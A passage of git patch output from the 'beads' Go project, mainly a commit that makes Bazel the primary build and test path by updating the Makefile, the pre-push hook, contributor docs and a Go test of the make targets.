+ EOF +} >"$tmp/report.md" +cat "$tmp/report.md" +summary <"$tmp/report.md" +echo "::error title=rbe worker-env out of step::beads pins worker-env=$ours, gascity $ref pins $theirs: copy gascity's tools/rbe/worker-env.txt and its pin (the step summary has the diff)." +exit 1 diff --git a/tools/rbe/worker-env.txt b/tools/rbe/worker-env.txt index b52c65a48..17ef8ffc9 100644 --- a/tools/rbe/worker-env.txt +++ b/tools/rbe/worker-env.txt @@ -2,37 +2,32 @@ arch x86_64 dolt dolt version 2.1.8 go go version go1.26.6 linux/amd64 os ubuntu 24.04 -pkg bash 5.2.21-2ubuntu4 -pkg cmake 3.28.3-1build7 -pkg coreutils 9.4-3ubuntu6.2 -pkg diffutils 1:3.10-1build1 -pkg findutils 4.9.0-5build1 -pkg git 1:2.55.0-0ppa1~ubuntu24.04.2 -pkg grep 3.11-4build1 -pkg jq 1.7.1-3ubuntu0.24.04.2 -pkg libbz2-dev 1.0.8-5.1ubuntu0.1 -pkg libc6 2.39-0ubuntu8.8 -pkg libexpat1-dev 2.6.1-2ubuntu0.6 -pkg libffi-dev 3.4.6-1build1 -pkg libgcc-s1 14.2.0-4ubuntu2~24.04.1 -pkg libicu74 74.2-1ubuntu3.1 -pkg liblzma-dev 5.6.1+really5.4.5-1ubuntu0.3 -pkg liblzma5 5.6.1+really5.4.5-1ubuntu0.3 -pkg libncurses-dev 6.4+20240113-1ubuntu2.2 -pkg libreadline-dev 8.2-4build1 -pkg libsqlite3-dev 3.45.1-1ubuntu2.8 -pkg libstdc++6 14.2.0-4ubuntu2~24.04.1 -pkg libxml2 2.9.14+dfsg-1.3ubuntu3.9 -pkg libxml2-dev 2.9.14+dfsg-1.3ubuntu3.9 -pkg lsof 4.95.0-1build3 -pkg make 4.3-4.1build2 -pkg procps 2:4.0.4-4ubuntu3.2 -pkg python3-dev 3.12.3-0ubuntu2.1 -pkg sed 4.9-2ubuntu0.24.04.1 -pkg sqlite3 3.45.1-1ubuntu2.8 -pkg tar 1.35+dfsg-3ubuntu0.4 -pkg tmux 3.4-1ubuntu0.1 -pkg util-linux 2.39.3-9ubuntu6.5 -pkg xz-utils 5.6.1+really5.4.5-1ubuntu0.3 -pkg zlib1g 1:1.3.dfsg-3.1ubuntu2.2 -pkg zlib1g-dev 1:1.3.dfsg-3.1ubuntu2.2 +pkg bash 5.2 +pkg coreutils 9.4 +pkg curl 8.5 +pkg dash 0.5 +pkg diffutils 3.10 +pkg findutils 4.9 +pkg git 2 +pkg grep 3.11 +pkg jq 1.7 +pkg libc6 2.39 +pkg libgcc-s1 14.2 +pkg libicu74 74.2 +pkg liblzma5 5.4 +pkg libstdc++6 14.2 +pkg libxml2 2.9 +pkg lsof 4.95 +pkg make 4.3 +pkg openssl 3.0 +pkg procps 4.0 +pkg python3 3.12 +pkg sed 4.9 +pkg sqlite3 3.45 +pkg tar 1.35 +pkg tmux 3.4 +pkg unzip 6.0 +pkg util-linux 2.39 +pkg xz-utils 5.4 +pkg zlib1g 1.3 +tool yq 4 From 368b225eef097610acb4f9d98b847f091d329b4a Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 07:46:02 +0000 Subject: [PATCH 036/213] docs(bazel): make bazel test the primary build and test path (ga-96smfk.23) (#7348) Bazel is beads' build and test system: bazel.yml's lanes gate every PR, and nogo (lint + vet), gofmt and the repository guards exist only as Bazel targets. The docs, the Makefile and the hooks now say so. Makefile: `make test` runs bazel.yml's test lane (`bazel test //... --config=ci`), `make check` adds the testing.Short policy and the `make ci-pr-lint` nogo gate, and `make check-docs` runs the docsync and doc-freshness Bazel targets before the pinned-release CLI flag check. BAZEL_FLAGS passes --config=fork-cache or --config=remote-exec through. The plain-Go recipes stay as explicit twins: test-go, check-go, check-docs-go. No workflow called the primary names, and TestWorkflowsNameTheirTestEngine keeps it that way. Hooks: pre-push runs scripts/pre-push-suite.sh for branch pushes whose commits change Go or Bazel inputs: the test lane with --config=remote-exec when some rc names an executor, else --config=fork-cache. Without bazel, or with BD_PREPUSH_SUITE=go, it runs make test-go under a banner saying that is not what CI gates on. Docs: AGENTS.md, CONTRIBUTING.md, engdocs/TESTING.md (a per-lane command table and the fork-cache/remote-exec setup), README, RELEASING, the PR template and the .bazelrc header. Bazelisk is a required prerequisite; go test is an inner-loop convenience CI does not enforce. Agent-Signature: claude-code-claude-opus-5-5-unknown-reasoning on behalf of Julian Knutsen Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 13 +- .githooks/pre-push | 40 ++++++- .github/PULL_REQUEST_TEMPLATE.md | 2 +- AGENTS.md | 49 +++++--- CONTRIBUTING.md | 52 ++++++-- Makefile | 57 +++++++-- README.md | 2 +- RELEASING.md | 2 +- engdocs/TESTING.md | 102 +++++++++++++--- examples/formulas/primitives/README.md | 2 +- scripts/BUILD.bazel | 2 + scripts/README.md | 2 +- scripts/makefile_bazel_primary_test.go | 135 +++++++++++++++++++++ scripts/pre-push-suite.sh | 140 ++++++++++++++++++++++ scripts/pre_push_suite_test.go | 157 +++++++++++++++++++++++++ 15 files changed, 689 insertions(+), 68 deletions(-) create mode 100644 scripts/makefile_bazel_primary_test.go create mode 100755 scripts/pre-push-suite.sh create mode 100644 scripts/pre_push_suite_test.go diff --git a/.bazelrc b/.bazelrc index 4de47b6c1..497eacc70 100644 --- a/.bazelrc +++ b/.bazelrc @@ -1,6 +1,13 @@ -# Bazel configuration for beads (side-by-side with the Go toolchain; `go build` -# and `go test` are unaffected). Bzlmod only; Bazel version is pinned in -# .bazelversion. +# Bazel configuration for beads. Bazel is beads' build and test system: CI +# gates on the `bazel test` lanes in .github/workflows/bazel.yml, and +# `make test`/`make check` run the same commands (engdocs/TESTING.md +# "Building and Testing"). Plain `go build`/`go test` still work as an +# inner-loop convenience but are not what CI enforces. Where actions run is +# per machine, never committed here: contributors read the anonymous, +# read-only cache with --config=fork-cache (defined below); maintainers with +# an rbe-west client certificate execute remotely with --config=remote-exec. +# Make either the default with a `build --config=...` line in the gitignored +# .bazelrc.local. Bzlmod only; Bazel version is pinned in .bazelversion. common --enable_bzlmod common --color=no # C/C++ (and so cgo, -race and the Go stdlib) builds only with MODULE.bazel's diff --git a/.githooks/pre-push b/.githooks/pre-push index 992d7ece3..fc57efb0b 100755 --- a/.githooks/pre-push +++ b/.githooks/pre-push @@ -1,8 +1,10 @@ #!/usr/bin/env bash -# Pre-push hook: when pushing a release tag (refs/tags/v*), refuse the push if -# version constants disagree. This stops a release from being tagged/published -# with drifted versions (the failure mode that left main red after the 1.0.5 -# release) before it ever reaches CI. +# Pre-push hook: run the Bazel test suite for branch pushes that change Go or +# Bazel inputs (scripts/pre-push-suite.sh), and when pushing a release tag +# (refs/tags/v*), refuse the push if version constants disagree. The version +# check stops a release from being tagged/published with drifted versions (the +# failure mode that left main red after the 1.0.5 release) before it ever +# reaches CI. # # Installed via: git config core.hooksPath .githooks # See also: make install (sets hooksPath automatically) @@ -55,6 +57,36 @@ if [ "$pushing_version_tag" -eq 1 ]; then fi fi +# The push-time test suite (scripts/pre-push-suite.sh): bazel.yml's test lane, +# `bazel test //... --config=ci`, for branch pushes whose new commits change +# Go or Bazel inputs. A tag push, a deletion, or a docs-only push skips it. +# BD_PREPUSH_SUITE=go runs plain go test instead, under a banner. +zero_sha=0000000000000000000000000000000000000000 +suite_needed=0 +while read -r local_ref local_sha _remote_ref remote_sha; do + case "$local_ref" in + refs/heads/*) ;; + *) continue ;; + esac + if [ "$local_sha" = "$zero_sha" ] || ! git cat-file -e "$local_sha^{commit}" 2>/dev/null; then + continue + fi + base="$remote_sha" + if [ "$base" = "$zero_sha" ] || ! git cat-file -e "$base^{commit}" 2>/dev/null; then + # A new remote branch: compare against main's merge-base. + base="$(git merge-base "$local_sha" origin/main 2>/dev/null || true)" + fi + if [ -z "$base" ] || git diff --name-only "$base" "$local_sha" -- \ + '*.go' 'go.mod' 'go.sum' '*.bazel' '*.bzl' '.bazelrc' '.bazelversion' 'MODULE.bazel.lock' | grep -q .; then + suite_needed=1 + fi +done <<< "$push_refs" + +if [ "$suite_needed" -eq 1 ]; then + repo_root="$(git rev-parse --show-toplevel)" + "$repo_root/scripts/pre-push-suite.sh" > .bazelrc.local -# Run tests (uses correct build tags automatically) +# Run the test suite CI gates on (bazel test //... --config=ci) make test -# Build and install locally to ~/.local/bin +# Build and install bd to ~/.local/bin (also enables the git hooks) make install ``` -Optional: if you use Bazel, opt in to the project's anonymous, read-only -build cache by adding `build --config=fork-cache` to your gitignored -`.bazelrc.local` (or pass `--config=fork-cache` per command). Results CI -already computed become cache hits, and nothing you build is uploaded. It is -off by default. +### Building and Testing + +Bazel is the gate: `.github/workflows/bazel.yml` runs every pull request's +tests as `bazel test` lanes, and nogo (lint + vet), gofmt and the repository +guards exist only as Bazel targets. The make targets run the same commands: + +| Command | Runs | +|---|---| +| `make test` | `bazel test //... --config=ci`: the test lane (unit tests, nogo, gofmt, repository guards) | +| `make check` | the testing.Short policy, `make ci-pr-lint` and `make test` | +| `make ci-pr-lint` | nogo natively plus the windows/amd64 and darwin/arm64 passes | +| `make check-docs` | the Bazel docsync and doc-freshness tests, then the CLI flag check | +| `bazel test //... --config=integration` | the integration lane; [engdocs/TESTING.md](engdocs/TESTING.md) lists every other lane's command | + +Where actions run is your choice, set in the gitignored `.bazelrc.local` (or +per command with `make test BAZEL_FLAGS=--config=...`): + +- `--config=fork-cache` (contributors): reads the anonymous cache, runs misses + on your machine, uploads nothing. +- `--config=remote-exec` (maintainers with an rbe-west client certificate): + executes remotely; the executor and TLS lines stay in your `user.bazelrc` or + `.bazelrc.local`. + +`go test` (`./scripts/test.sh`, or `make test-go` / `make check-go` / +`make check-docs-go`) still works as an inner-loop convenience, but CI does not +enforce it and it skips nogo, gofmt and the guards. Finish with `make test`. ## Project Structure @@ -199,7 +224,8 @@ For test commands, test design, and PR-readiness gates, see the canonical - Follow the proportional validation budget in [engdocs/TESTING.md](engdocs/TESTING.md): docs-only changes use docs checks; - Go changes use focused and affected-package tests plus one final `make test`. + Go changes use focused and affected-package tests plus one final `make test` + (the Bazel test lane). - If you hit a test failure unrelated to your change, don't silently skip it -- check `.test-skip` and file an issue if it's not already tracked (see [engdocs/TESTING.md](engdocs/TESTING.md#failures-skips-and-review)). diff --git a/Makefile b/Makefile index 9797f1555..e9e2a4202 100644 --- a/Makefile +++ b/Makefile @@ -45,6 +45,7 @@ endif .PHONY: all build doctor-build test test-icu-path test-full-cgo test-regression test-upgrade test-cross-version test-migration corpus-regen githooks-regen bench bench-quick clean clean-test-tmp install install-force help check-up-to-date fmt fmt-check check-testing-short .PHONY: lint lint-changed vet +.PHONY: check check-go test-go check-docs-go .PHONY: ci-pr-core ci-pr-policy ci-pr-lint ci-complexity ci-complexity-diff ci-complexity-check ci-package-mcp ci-package-npm .PHONY: api-gen api-check .PHONY: bazel-sync bazel-sync-check @@ -52,6 +53,23 @@ endif # Default target all: build +# Build and test engine. Bazel is what CI gates on: .github/workflows/bazel.yml +# runs `bazel test` lanes on rbe-west, and nogo (lint + vet), formatting and +# the repository guards are Bazel targets there. The primary targets (test, +# check, check-docs) run the same `bazel test` commands as those lanes, so a +# local run shares CI's action keys and its remote cache (engdocs/TESTING.md +# "Building and testing"). Each keeps a plain go twin under an explicit -go +# name (test-go, check-go, check-docs-go) for offline work and hosts Bazel does +# not serve; that twin is an inner-loop convenience, not what CI enforces. +# GitHub Actions jobs that still run Go-native suites call the -go names. +BAZEL ?= bazel +# Extra flags for every `bazel test` below: --config=fork-cache (contributors: +# the anonymous read-only cache) or --config=remote-exec (maintainers with an +# rbe-west client certificate). Hosts whose ~/.bazelrc names the executor need +# neither. Better: put `build --config=...` in the gitignored .bazelrc.local. +BAZEL_FLAGS ?= +BAZEL_TEST = $(BAZEL) test $(BAZEL_FLAGS) + BUILD_DIR := . BD_BUILD_OUTPUT := $(BUILD_DIR)/bd$(if $(filter Windows_NT,$(OS)),.exe) GIT_BUILD := $(shell git rev-parse --short HEAD) @@ -174,11 +192,27 @@ doctor-build: echo " CGO_ENABLED=1 go build -tags gms_pure_go ./cmd/bd" ;; \ esac -# Run all tests (skips known broken tests listed in .test-skip) +# bazel.yml's test lane (`bazel test //... --config=ci`): every untagged +# go_test with PR Core's selection (race, -short, skips), plus nogo lint/vet, +# formatting and the repository guards. The other lanes' commands are in +# engdocs/TESTING.md "Building and testing". test: + $(BAZEL_TEST) //... --config=ci + +# Plain go test (skips known broken tests listed in .test-skip): an inner-loop +# convenience without Bazel; CI does not run it. +test-go: @echo "Running tests..." @TEST_COVER=1 ./scripts/test.sh +# Fast quality gates: the testing.Short policy, the full nogo lint gate +# (native plus the windows/darwin passes) and `make test`. +check: check-testing-short ci-pr-lint test + +# The same gates without Bazel where they have a Go form: gofmt and go test. +# nogo has no go twin, so this is a convenience CI does not enforce. +check-go: fmt-check check-testing-short test-go + # Run the opt-in ICU regex path test suite (no skip list). # This is a local developer workflow for intentionally exercising the leftover # ICU path; it is not part of normal validation. @@ -421,8 +455,15 @@ fmt: fmt-check: @./scripts/ci/fmt-check.sh -# Validate documentation references against actual CLI flags +# Docs checks: docsync and doc freshness as bazel.yml's test lane runs them, +# then the CLI flag check, which validates against bd built from the release in +# docs/cli-docs.pin (so it stays a script, like pr.yml's check-doc-flags job). check-docs: + $(BAZEL_TEST) //test/docsync:docsync_test //scripts/repochecks:doc_freshness_test --config=ci + @./scripts/check-doc-flags.sh + +# The same docs checks with plain go test and a go-built bd. +check-docs-go: @echo "Building bd for docs checks..." @CGO_ENABLED=0 go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o "$(BUILD_DIR)/bd" ./cmd/bd @./scripts/check-doc-flags.sh "$(BUILD_DIR)/bd" @@ -457,12 +498,10 @@ diagrams-excalidraw: docs-dev: ./mint.sh dev -# Bazel (side-by-side with the Go toolchain; `go build`/`go test` do not need -# it). Regenerate BUILD.bazel files with gazelle and refresh the MODULE.bazel +# Regenerate BUILD.bazel files with gazelle and refresh the MODULE.bazel # use_repo list + MODULE.bazel.lock, then refresh the go_srcs filegroups that # source-scanning tests declare as data (tools/bazel/go_srcs.py). Run after # changing Go imports, go.mod, or packages. -BAZEL ?= bazel bazel-sync: $(BAZEL) run //:gazelle python3 tools/bazel/go_srcs.py @@ -498,7 +537,10 @@ help: @echo "Beads Makefile targets:" @echo " make build - Build the bd binary" @echo " make doctor-build - Diagnose build env (GOFLAGS/CGO/CC) for the ICU build trap" - @echo " make test - Run all tests" + @echo " make test - bazel test //... --config=ci (bazel.yml's test lane; BAZEL_FLAGS adds flags)" + @echo " make test-go - Plain go test via scripts/test.sh (inner loop; not what CI enforces)" + @echo " make check - testing.Short policy + nogo lint gate + make test" + @echo " make check-go - gofmt + testing.Short policy + make test-go (no Bazel)" @echo " make test-icu-path - Run opt-in ICU regex path tests (maintainer-only)" @echo " make test-full-cgo - Deprecated alias for make test-icu-path" @echo " make ci-pr-core - Run required PR core Go test wrapper" @@ -521,7 +563,8 @@ help: @echo " make install-force - Install bd, skipping the origin/main update check" @echo " make fmt - Format all Go files with gofmt" @echo " make fmt-check - Check Go formatting (for CI)" - @echo " make check-docs - Validate docs against CLI flags" + @echo " make check-docs - Bazel docsync + doc freshness tests, then the CLI flag check" + @echo " make check-docs-go - The same docs checks with plain go test" @echo " make api-gen - Regenerate HTTP API types from the OpenAPI spec" @echo " make api-check - OpenAPI drift gate (regenerate, diff-or-fail, spec tests)" @echo " make bazel-sync - Regenerate Bazel BUILD files and tidy MODULE.bazel (gazelle + mod tidy)" diff --git a/README.md b/README.md index 5526718f6..0984804ed 100644 --- a/README.md +++ b/README.md @@ -212,5 +212,5 @@ This is useful for: ## 📝 Documentation * [Documentation site](https://beads.gascity.com/) | [Installing](docs/getting-started/installation.md) | [Sync Concepts](docs/core-concepts/sync-concepts.md) | [Agent Setup](docs/getting-started/ide-setup.md) | [Copilot CLI Setup](docs/integrations/copilot-cli.md) | [Copilot VS Code MCP](docs/integrations/github-copilot.md) | [Articles](ARTICLES.md) | [Sync Branch Mode](docs/reference/protected-branches.md) | [Troubleshooting](docs/reference/troubleshooting.md) | [FAQ](docs/reference/faq.md) -* Contributing: [CONTRIBUTING.md](CONTRIBUTING.md) | [Roadmap](ROADMAP.md) | [Contributor agent instructions](AGENTS.md) +* Contributing: [CONTRIBUTING.md](CONTRIBUTING.md) (Bazel builds and tests beads: install [Bazelisk](https://github.com/bazelbuild/bazelisk), then `make test`) | [Roadmap](ROADMAP.md) | [Contributor agent instructions](AGENTS.md) * [![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/gastownhall/beads) diff --git a/RELEASING.md b/RELEASING.md index a36816306..91a517832 100644 --- a/RELEASING.md +++ b/RELEASING.md @@ -138,7 +138,7 @@ Before starting a release: - [ ] `release/x.y.z` branch cut from a SHA green on `Main` **and** `Nightly Full Tests` (see [Release Branches](#release-branches)) -- [ ] All tests passing (`go test ./...`) +- [ ] All tests passing (`make test`, the Bazel test lane) - [ ] npm package tests passing (`cd npm-package && npm run test:all`) - [ ] **Upgrade smoke tests pass** (`make test-upgrade`) — see [Release Stability Gate](engdocs/RELEASE-STABILITY-GATE.md) - [ ] **Regression tests pass** (`make test-regression`) diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index bffa77fc5..46aab1118 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -1,9 +1,60 @@ # Testing Guide `TESTING.md` is the single authority for test commands, test selection, and -test design in this repository. Use the commands here for local work. For the -exact command behind a current CI check, inspect its workflow and corresponding -`Makefile` target; the CI audit and cleanup plan are dated maintainer context. +test design in this repository. Use the commands here for local work. + +## Building and Testing: Bazel Is the Gate + +Bazel is beads' build and test system. CI gates every pull request on the +`bazel test` lanes in `.github/workflows/bazel.yml`, and several checks exist +only as Bazel targets: nogo (go test's vet checks plus the golangci-lint +linters, `tools/nogo`), gofmt (`//scripts/repochecks:fmt_test`) and the +repository guards under `scripts/repochecks`. A plain `go test` runs none of +them, so it is an inner-loop convenience CI does not enforce; a change is +ready when its Bazel lanes pass. + +Install [Bazelisk](https://github.com/bazelbuild/bazelisk) as `bazel`; it +reads `.bazelversion`. The pre-commit hook (nogo on staged packages) and the +pre-push hook (the test lane) both need it. + +Where actions run is per machine, never committed: + +- **Contributors** read rbe-west's anonymous, read-only cache with + `--config=fork-cache`: everything CI already executed is a cache hit, misses + run on your machine, and nothing is uploaded. Make it the default with + `build --config=fork-cache` in your gitignored `.bazelrc.local`, or pass it + per command (`make test BAZEL_FLAGS=--config=fork-cache`). +- **Maintainers** with an rbe-west client certificate execute remotely with + `--config=remote-exec`; the executor endpoint and TLS lines go in the + gitignored `user.bazelrc` or `.bazelrc.local` (see the `.bazelrc` comments). +- **Agent hosts** whose `~/.bazelrc` names the executor need neither flag. + +Each lane, as bazel.yml runs it (add your `--config=fork-cache` or +`--config=remote-exec` when it is not your default): + +| Lane (bazel.yml job) | Command | Notes | +|---|---|---| +| Test (`bazel-test`) | `make test`, i.e. `bazel test //... --config=ci` | PR Core's selection: race, `-short`, skips. Includes nogo, gofmt and the repository guards. The default gate for every Go change. | +| Lint, all platforms | `make ci-pr-lint` | nogo natively plus the windows/amd64 and darwin/arm64 passes. `make lint-changed` covers only your changed packages. | +| Pure-Go (`bazel-pure`) | `bazel build --config=pure //cmd/bd:bd //cmd/bd:bd_test` | cgo off. The job's cmd/bd test subset (`PURE_CMD_BD_TESTS`), release cross-compile and js/wasm step are in bazel.yml. | +| Integration (`bazel-integration`) | `bazel test //... --config=integration` | The `integration`-tagged build. Runs with the read-only cache too. | +| Dolt server (`bazel-doltserver`) | `bazel test //... --config=doltserver` | Starts its own `dolt sql-server` from the pinned binary; no docker. | +| cmd/bd Dolt server (`bazel-cmd-dolt`) | `bazel test //cmd/bd:bd_dolt_server_test --config=doltserver-cmd` | 16 shards of the integration-tagged cmd/bd suite. | +| Embedded Dolt (`bazel-embedded`) | `bazel test //... --config=embedded` | Remote execution only in CI; locally it is slow. | +| Proxied server (`bazel-proxied`) | `bazel test //... --config=doltserver-proxied` | Remote execution only: 30 shards, each with a Dolt server. | +| Server-Dolt storage (`bazel-server-storage`) | `bazel test //... --config=doltserver-integration` | Remote execution only. | +| Docs | `make check-docs` | `//test/docsync:docsync_test` and `//scripts/repochecks:doc_freshness_test` in the test lane's configuration, then `scripts/check-doc-flags.sh` against the pinned release. | + +`make check` runs the testing.Short policy, `make ci-pr-lint` and +`make test`. After adding, removing or renaming Go files or changing imports +or `go.mod`, run `make bazel-sync` (gazelle, the `go_srcs` filegroups and +`MODULE.bazel`). + +The Makefile keeps plain-Go twins under explicit `-go` names: `make test-go` +(`./scripts/test.sh`), `make check-go` and `make check-docs-go`. They work +offline and without Bazel, but they are not what CI enforces. GitHub Actions +jobs that still run Go-native suites call the `-go` names, never `make test` +(`TestWorkflowsNameTheirTestEngine`). ## Choose the Smallest Useful Test @@ -17,23 +68,37 @@ a unit test: use the real boundary when the defect could live there. | Need | Run | When | |---|---|---| -| Docs-only validation | `git diff --check`, `go test -tags=gms_pure_go ./test/docsync`, and `./scripts/check-doc-freshness.sh` | For prose-only changes; add any generated-doc or surface-specific link check the changed paths require. Do not run the full Go suite merely because a Markdown file changed. | -| Focused red/green loop | `./scripts/test.sh -run '^TestExactName$' ./path/to/package/...` | While writing or fixing one behavior. | -| Affected-package confidence | `./scripts/test.sh ./path/to/package/...` | After the focused test passes; include directly affected neighbors when their contract changed. | -| Final Go baseline | `make test` | Once after focused work on Go code is green. It applies the normal local build flags, coverage, and local skip handling. | +| Docs-only validation | `git diff --check` and `make check-docs` | For prose-only changes; add any generated-doc or surface-specific link check the changed paths require. Do not run the full suite merely because a Markdown file changed. | +| Focused red/green loop | `bazel test //path/to/package:package_test --config=ci --test_filter='^TestExactName$'`, or the plain-Go `./scripts/test.sh -run '^TestExactName$' ./path/to/package/...` | While writing or fixing one behavior. The `go test` loop is fine here; the Bazel targets below are the gate. | +| Affected-package confidence | `bazel test //path/to/package/... --config=ci` | After the focused test passes; include directly affected neighbors when their contract changed. | +| Final gate | `make test` | Once after focused work on Go code is green: the whole test lane, mostly cache hits. | +| Another lane's risk | that lane's command from the table above | When the change touches what that lane covers (integration-tagged files, the Dolt server path, embedded Dolt, pure-Go builds). | | Named CI wrapper | `make ci-pr-core`, `make ci-pr-policy`, or `make ci-pr-lint` | Run the wrapper whose risk or surface is affected, or use it to reproduce that CI check. Do not run all three routinely for every edit. | | Hook shims against real timeout implementations | `nix flake check -L` (or `nix build .#checks..hook-timeout-backends -L`) | After changing the hook generator in `cmd/bd/hooks.go` (then `make githooks-regen`) or anything under `.githooks/`. Runs the tracked managed sections against GNU coreutils, uutils, busybox and toybox `timeout` — the multicalls also installed as `gtimeout` alone — with and without Perl, under dash, bash and busybox ash. About one deadline of wall time; needs no Go build. | Do not replace the focused loop with repeated full-suite runs. Run the final -`make test` once the affected Go tests are green. For docs-only changes, use +`make test` once the affected tests are green. For docs-only changes, use the docs, link, and diff checks instead. -## Commands and Local Environment +### Git Hooks -`./scripts/test.sh` is the normal runner. It sources `.buildflags`, creates an -isolated test environment, applies `.test-skip`, and defaults to a **25m -per-package** Go-test timeout. The timeout is a hang backstop, not a target -runtime. Override it only when diagnosing a legitimate slow path: +`make install` points `core.hooksPath` at `.githooks`. The pre-commit hook +formats staged Go files and runs nogo on their packages +(`make lint-changed LINT_CHANGED_SCOPE=staged`). The pre-push hook runs +`scripts/pre-push-suite.sh` for branch pushes whose commits change Go or +Bazel inputs: `bazel test //... --config=ci`, with `--config=remote-exec` +when some rc file names an executor and `--config=fork-cache` otherwise. +`BD_PREPUSH_SUITE=rbe|cache|go` picks the mode; `go` (and the fallback when +bazel is not installed) runs `make test-go` under a banner saying it is not +the suite CI gates on. + +## Plain `go test` (Inner Loop) + +`./scripts/test.sh` is the plain-Go runner behind `make test-go`. It sources +`.buildflags`, creates an isolated test environment, applies `.test-skip`, and +defaults to a **25m per-package** Go-test timeout. The timeout is a hang +backstop, not a target runtime. Override it only when diagnosing a legitimate +slow path: ```bash TEST_TIMEOUT=30m ./scripts/test.sh ./cmd/bd/... @@ -63,9 +128,9 @@ make test-cross-version make test-migration ``` -For a failing GitHub Actions check, follow the current workflow and its -`Makefile` target when exact reproduction matters. The local runner and CI -intentionally have different contracts in some cases. +For a failing GitHub Actions check, run the command of its bazel.yml lane +from the table above; for the jobs that are not Bazel lanes, follow the +workflow and its `Makefile` target. ### Test Environment and Readiness @@ -339,9 +404,10 @@ underlying failure is fixed. Before opening a PR: 1. For docs-only changes, run the applicable docs, link, freshness, and diff - checks; do not run the full Go suite by default. + checks; do not run the full suite by default. 2. For Go code, keep the focused and affected-package tests green, then run one - final `make test`. + final `make test` (the Bazel test lane), plus the lane of any other tier + the change touches. 3. Run only the named CI wrapper, specialized target, or risk gate required by the changed surface, or the one needed to reproduce a CI result. diff --git a/examples/formulas/primitives/README.md b/examples/formulas/primitives/README.md index ad52c67dc..879f10010 100644 --- a/examples/formulas/primitives/README.md +++ b/examples/formulas/primitives/README.md @@ -41,7 +41,7 @@ primitives are wired, not just that fixtures parse. Run with `make test`, or in isolation: ```sh -go test -tags gms_pure_go -run TestFormulaPrimitiveExamples ./cmd/bd/ +bazel test //cmd/bd:bd_test --config=ci --test_filter='^TestFormulaPrimitiveExamples$' ``` ## What's NOT here diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index f19b1c2a6..cfaad6e93 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -40,12 +40,14 @@ go_test( "embedded_shard_count_test.go", "host_tools_test.go", "install_dolt_test.go", + "makefile_bazel_primary_test.go", "managed_local_lane_test.go", "migration_corpus_bazel_test.go", "nogo_lint_policy_test.go", "pr_lanes_bazel_coverage_test.go", "pr_preflight_test.go", "pr_risk_bazel_coverage_test.go", + "pre_push_suite_test.go", "pull_dolt_image_test.go", "rbe_worker_env_test.go", "release_script_test.go", diff --git a/scripts/README.md b/scripts/README.md index d9d99d6de..3bfa67bde 100644 --- a/scripts/README.md +++ b/scripts/README.md @@ -28,7 +28,7 @@ lint authority used by `bd preflight` in a Beads source checkout. Broad Go test wrappers also source `scripts/ci/lib/test-env.sh`, which creates a temporary HOME/XDG/Dolt root, isolates Git global/system config, clears runtime Beads/Dolt environment variables, and sets `BEADS_TEST_SKIP=dolt` before tests -run. This keeps local `make test` and `make ci-pr-core` results comparable to +run. This keeps local `make test-go` and `make ci-pr-core` results comparable to the fast PR-core contract even on shared agent hosts. Set `BEADS_TEST_ENV_RUN_DOLT=1` only when intentionally running the Dolt-dependent tests through these broad wrappers, or `BEADS_TEST_ENV_DISABLE=1` when debugging diff --git a/scripts/makefile_bazel_primary_test.go b/scripts/makefile_bazel_primary_test.go new file mode 100644 index 000000000..c94244f2e --- /dev/null +++ b/scripts/makefile_bazel_primary_test.go @@ -0,0 +1,135 @@ +package scripts_test + +import ( + "os" + "os/exec" + "path/filepath" + "regexp" + "strings" + "testing" +) + +// Bazel is beads' build and test system: bazel.yml's lanes gate every PR, +// and nogo (lint + vet), formatting and the repository guards exist only as +// Bazel targets. The primary make targets run the commands those lanes run, +// everywhere (GitHub Actions included), and each keeps a plain go twin under +// an explicit -go name. A workflow that runs a Go-native suite calls the -go +// name, so its engine is written in the workflow, not sniffed from the +// environment. + +const fakeMakeBazel = "/fake/bazel" + +// makeDryRun prints the recipe `make TARGET` would run, with BAZEL pointing +// at a fake path so a bazel invocation is recognizable. +func makeDryRun(t *testing.T, target string, env ...string) string { + t.Helper() + makeBin := requireHostTool(t, "make") + root := sourceRepoRoot(t) + cmd := exec.Command(makeBin, "--no-print-directory", "-n", + "-f", filepath.Join(root, "Makefile"), + "BAZEL="+fakeMakeBazel, + target) + cmd.Dir = root + for _, entry := range os.Environ() { + name, _, _ := strings.Cut(entry, "=") + switch name { + case "GITHUB_ACTIONS", "BAZEL_FLAGS", "MAKEFLAGS", "MAKELEVEL", "MFLAGS": + continue + } + cmd.Env = append(cmd.Env, entry) + } + cmd.Env = append(cmd.Env, env...) + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("make -n %s: %v\n%s", target, err, out) + } + return string(out) +} + +// goEngineRE matches a recipe line that tests with the Go toolchain. +var goEngineRE = regexp.MustCompile(`(^|\s)go test\s|scripts/test\.sh`) + +func TestMakePrimaryTargetsRunBazel(t *testing.T) { + for target, wants := range map[string][]string{ + "test": {fakeMakeBazel + " test //... --config=ci"}, + "check": { + "./scripts/check-testing-short.sh", + "./scripts/ci/pr-lint.sh", + fakeMakeBazel + " test //... --config=ci", + }, + "check-docs": { + fakeMakeBazel + " test //test/docsync:docsync_test //scripts/repochecks:doc_freshness_test --config=ci", + "./scripts/check-doc-flags.sh", + }, + } { + for _, env := range [][]string{nil, {"GITHUB_ACTIONS=true"}} { + t.Run(target+strings.Join(env, ","), func(t *testing.T) { + out := makeDryRun(t, target, env...) + for _, want := range wants { + if !strings.Contains(out, want) { + t.Errorf("make %s (env %v) does not run %q:\n%s", target, env, want, out) + } + } + if goEngineRE.MatchString(out) { + t.Errorf("make %s (env %v) runs go test instead of bazel:\n%s", target, env, out) + } + }) + } + } +} + +func TestMakeBazelFlagsReachEveryBazelTest(t *testing.T) { + out := makeDryRun(t, "test", "BAZEL_FLAGS=--config=fork-cache") + if want := fakeMakeBazel + " test --config=fork-cache //... --config=ci"; !strings.Contains(out, want) { + t.Errorf("make test with BAZEL_FLAGS does not run %q:\n%s", want, out) + } +} + +func TestMakeGoTwinsRunGoTest(t *testing.T) { + for target, want := range map[string]string{ + "test-go": "./scripts/test.sh", + "check-go": "./scripts/test.sh", + "check-docs-go": "go test 